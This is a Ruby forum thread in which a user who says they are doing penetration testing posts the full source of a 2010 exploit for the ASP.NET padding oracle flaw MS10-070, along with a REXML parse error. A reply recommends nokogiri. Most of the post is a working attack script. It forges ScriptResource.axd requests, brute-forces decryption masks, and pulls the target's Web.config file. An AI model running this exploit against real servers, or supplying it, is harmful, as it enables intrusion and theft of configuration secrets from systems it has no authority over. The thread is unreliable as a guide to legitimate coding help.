Errors on REXML reading an HTML

Hello, I'm doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.

However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:

////////////////// ERROR IN THE EXECUTION //////////////////

discovering decrypt command...
trying decrypt_mask: 0x0001/0xffff, http_code: 200, body_length:
6790#<REXML::
ParseException: Missing end tag for 'div' (got "td")
Line: 156
Position: 5938
Last 80 unconsumed characters:

C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:341:in `pull'
C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in `parse'
C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:230:in `build'
C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
aspx_ad_chotext_attack.rb:220:in `new'
aspx_ad_chotext_attack.rb:220:in `parse_html_body'
aspx_ad_chotext_attack.rb:259:in `block in discover_decrypt_command'
aspx_ad_chotext_attack.rb:248:in `upto'
aspx_ad_chotext_attack.rb:248:in `discover_decrypt_command'
aspx_ad_chotext_attack.rb:432:in `run'
aspx_ad_chotext_attack.rb:465:in `<main>'
...
Missing end tag for 'div' (got "td")
Line: 156
Position: 5938
Last 80 unconsumed characters:

...And here's the code.

////////////////// HERE'S THE CODE ITSELF//////////////////

require 'net/http'
require 'uri'
require 'rexml/document'

$debugging = false

module XArray
  def hex_inspect
    "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
  end
end

class Array
  include XArray
end

require 'base64'

class XBase64
  def self.encode s
    s = Base64.encode64 s
    s = s.gsub '+', '-'
    s = s.gsub '/', '_'
    s = s.gsub "\n", ''
    s = s.gsub "\r", ''

    s = XBase64.encode_base64_padding s
  end

  def self.encode_base64_padding s
    padding_length = 0
    padding_length += 1 while s[-1 - padding_length, 1] == "="
    s[0..(-1 - padding_length)] + padding_length.to_s
  end

  def self.decode s
    s = s.gsub '-', '+'
    s = s.gsub '_', '/'

    s = self.decode_base64_padding s

    Base64.decode64 s
  end

  def self.decode_base64_padding s
    padding_length = s[-1,1].to_i
    s[0...-1] + ("=" * padding_length)
  end
end

module XString
  def xor other
    raise RuntimeError, "length mismatch" if self.length != other.length
    (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
  end
  alias ^ :xor

  def hex_inspect
    printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
                 (0x20..0x7e).entries

    "[#{length}]" + "\"#{unpack("C*").map { |x|
                      printables.include?(x) ? x.chr : "\\x%02x" % x
}.join}\""
  end

  def to_blocks blocksize
    (0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
  end
end

class String
  include XString
end

class ASPXAutoDecryptorChosenCiphertextAttack
  attr_reader :uri
  attr_reader :filename
  attr_reader :min_filelength
  attr_reader :filere
  attr_reader :http
  attr_reader :d_value
  attr_reader :blocksize
  attr_reader :padding_length
  attr_reader :decrypt_command_mask
  attr_reader :axdpath
  attr_reader :axdname
  attr_reader :base_mask

  def initialize parameters
    @uri = URI.parse parameters[:uri]
    @filename = parameters[:filename]
    @min_filelength = parameters[:min_filelength]
    @filere = parameters[:filere]
    @http = http_initialize
    @d_value = nil
    @base_mask = rand 0xffff
    @decrypt_command_mask = nil
    @blocksize = nil
    @padding_length = nil
    @axdpath = nil
    @axdname = nil

    puts "target: #{@uri}"
    puts "base_mask: 0x%04x" % @base_mask
  end

  def http_initialize
    http = Net::HTTP.new @uri.host, @uri.port
    http.start
    http
  end

  def parse_script_tag xml, re
    d = nil

    doc = REXML::Document.new xml
    doc.elements.each 'script' do |e|
      src_attribute = e.attributes['src']
      md = re.match src_attribute
      d = md[1]
      break
    end

    raise RuntimeError, "could not parse script_tag" unless d

    d
  end
  private :parse_script_tag

  def get_ciphertext_sample
    [ [ "ScriptResource.axd",
/\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],
    ].each do |name, re|

        headers = { 'User-Agent' => \
            'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

        response = http.get uri.path, headers
        body = response.body

        script_tags = body.lines.select { |x| x.index name }

        next if script_tags.empty?

        puts "script tags using #{name} [#{script_tags.length}]:"
        puts script_tags.map { |x| "\t#{x}" }

        d = parse_script_tag script_tags[0], re

        puts "using script: #{name}"
        puts "using d_value: #{d}"

        @axdpath = uri.path[0, uri.path.rindex('/')]
        @axdname = name
        @d_value = ("\x00" * 16) + (XBase64.decode d)
        break
    end

    raise RuntimeError, "could not find any axd sample" unless d_value

    d_value
  end

  def parse_html_body h, body
    parsed = String.new

    doc = REXML::Document.new body
    doc.elements.each h do |e|
      parsed = e.text
      break
    end

    parsed
  end

  def send_request d
    request = Net::HTTP::Get.new
"/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
    request['Connection'] = 'Keep-Alive'
    @http.request request
  end

  def decrypt d
    ciphertext = d.clone
    ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"

    response = send_request ciphertext

    parse_html_body 'html/head/title', response.body
  end

  def discover_decrypt_command
    puts "discovering decrypt command..."

    ciphertext = d_value.clone
    1.upto 0xffff do |mask|
      ciphertext[0, 2] = [ base_mask + mask ].pack "S"

      response = send_request ciphertext

      print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d,
body_length: %5d" % \
                                     [ mask,
response.code, response.body.length ]

      next unless response.code == "200"

      begin
        puts parse_html_body 'html/head/title', response.body
        @decrypt_command_mask = base_mask + mask
      rescue Exception => e
        puts e
        puts "exception !"
        next
      end

      break
    end

    puts

    raise RuntimeError, "no more combinations to try !" unless
decrypt_command_mask
    puts "decrypted !!!"

    decrypt_command_mask
  end

  def discover_blocksize_and_padding_length
    puts "discovering blocksize and padding length..."

    [ 16, 8 ].each do |b|
      0.upto b - 1 do |i|
        ciphertext = @d_value.clone
        ciphertext[-(b * 2) + i] ^= 0x01
        begin
          decrypt ciphertext
        rescue Exception => e
          @blocksize = b
          @padding_length = blocksize - i
          break
        end
      end
      break if blocksize
    end

    raise RuntimeError, "no more combinations to try !" unless blocksize

    puts "discovered padding length: #{padding_length}"
    puts "discovered blocksize: #{blocksize}"

    [ blocksize, padding_length]
  end

  def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
    puts "cipher_blocks.count: #{cipher_blocks.count}"

    required_block_count = 1 + new_plaintext_blocks.count + 1
    puts "required_block_count: #{required_block_count}"

    if required_block_count < cipher_blocks.count then
      delta = cipher_blocks.count - required_block_count
      puts "removing #{delta} extra blocks..."
      cipher_blocks = [ cipher_blocks[0] ] +
cipher_blocks[-required_block_count+1..-1]
    elsif required_block_count > cipher_blocks.count then
      delta = required_block_count - cipher_blocks.count
      puts "adding #{delta} extra_blocks..."
      cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ]
+ cipher_blocks[1..-1]
    end

    puts "cipher_blocks.count: #{cipher_blocks.count}"

    cipher_blocks
  end
  private :reallocate_cipher_blocks

  def generate_new_plaintext_blocks
    tail_padding = "\x01"
    head_padding_length = blocksize - ( (@filename.length +
tail_padding.length) % blocksize)
    head_padding_length = 0 if head_padding_length == blocksize
    head_padding = "\x00" * head_padding_length
    new_plaintext = head_padding + @filename + tail_padding

    new_plaintext.to_blocks blocksize
  end
  private :generate_new_plaintext_blocks

  def encrypt
    puts "encrypting \"#{@filename.hex_inspect}..."

    new_plaintext_blocks = generate_new_plaintext_blocks

    cipher_blocks = @d_value.to_blocks blocksize
    cipher_blocks = reallocate_cipher_blocks cipher_blocks,
new_plaintext_blocks

    (1..new_plaintext_blocks.count).each do |i|
      puts "round #{i} of #{new_plaintext_blocks.count}"

      new_plaintext_block = new_plaintext_blocks[-i]

      old_cleartext = decrypt cipher_blocks.join
      old_plaintext = old_cleartext + (padding_length.chr *
padding_length)
      puts "old_plaintext: #{old_plaintext.hex_inspect}"

      old_plaintext_blocks = old_plaintext[blocksize * (-i -
1)..-1].to_blocks blocksize

      old_plaintext_block = old_plaintext_blocks[-i]

      normalization_table = old_plaintext_block.bytes.map { |x| x >=
0x80 or x == 0x0a }
      if normalization_table.include? true
        j = blocksize - (normalization_table.rindex true)
        cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
        puts "normalization needed for \"\\x%x\", j: %d !" % [
old_plaintext_block[-j], -j]
        redo
      end

      cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block

      @padding_length = 1 if i == 1
    end

    cleartext = decrypt cipher_blocks.join
    puts "new cleartext: #{cleartext.hex_inspect}"

# raise RuntimeError, "too many \"|\" characters!" if
cleartext.count("|") > 3

    @d_value = cipher_blocks.join
  end

  def discover_escape_sequence
    puts "discovering escape sequence..."

    escape_sequence_mask = nil

    offset = base_mask % (blocksize - 4)

    ciphertext = d_value.clone
    0x1ffff.times do |mask|
      ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

      response = send_request ciphertext
      print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d,
body_length: %5d" % \
                                 [ mask,
response.code, response.body.length ]

      next unless response.code == "200"

      next if min_filelength and (response.body.length < min_filelength)

      next if filere and (not filere =~ response.body)

      escape_sequence_mask = base_mask + mask

      puts
      puts "found!"

      unless $debugging
        puts "press any key to show the contents of the file"
        $stdin.gets
      end

      puts response.body
      break
    end
    puts

    raise RuntimeError, "no more combinations to try !" unless
escape_sequence_mask

    escape_sequence_mask
  end

  def pause
    return if $debugging
    puts
    puts "press any key to start the attack"
    $stdin.gets
  end

  def run
    get_ciphertext_sample
    pause
    discover_decrypt_command
    discover_blocksize_and_padding_length
    encrypt
    discover_escape_sequence
  end
end

puts [ "-------------------------------------------",
       "aspx_ad_chotext_attack.rb",
       "(c) 2010 AmpliaSECURITY",
       "http://www.ampliasecurity.com",
       "Agustin Azubel - aazubel@ampliasecurity.com",
       "-------------------------------------------",
       "\n" ].join "\n"

if ARGV.length != 1 then
  $stderr.puts "usage: ruby #{$PROGRAM_NAME}
http://192.168.1.1/Default.aspx&quot;
  exit
end

begin
  parameters = {
    :uri => ARGV.first,
    :filename => "|||~/Web.config",
# :min_filelength => 3000,
    :filere => /configuration/
  }

  x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
  x.run
rescue Exception => e
  $stderr.puts "Exploit failed: #{e}"

  raise if $debugging
end

////////////////////////////////////

Please somebody could help me? I'm not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn't trigger this error.

Any help would be really appreciated.
Thanks in advance and happy xmass!

···

--
Posted via http://www.ruby-forum.com/\.

If you want to parse HTML you must replace REXML anyway because it is
an XML parser and not a HTML parser - unless of course someone can
guarantee to you that all pages you want to parse are valid XHTML. I
suggest nokogiri.

Cheers

robert

···

On Sat, Dec 25, 2010 at 12:16 AM, Lorenzo Dolores <a317412@pjjkp.com> wrote:

Hello, I'm doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.

However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:

Please somebody could help me? I'm not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn't trigger this error.

--
remember.guy do |as, often| as.you_can - without end
http://blog.rubybestpractices.com/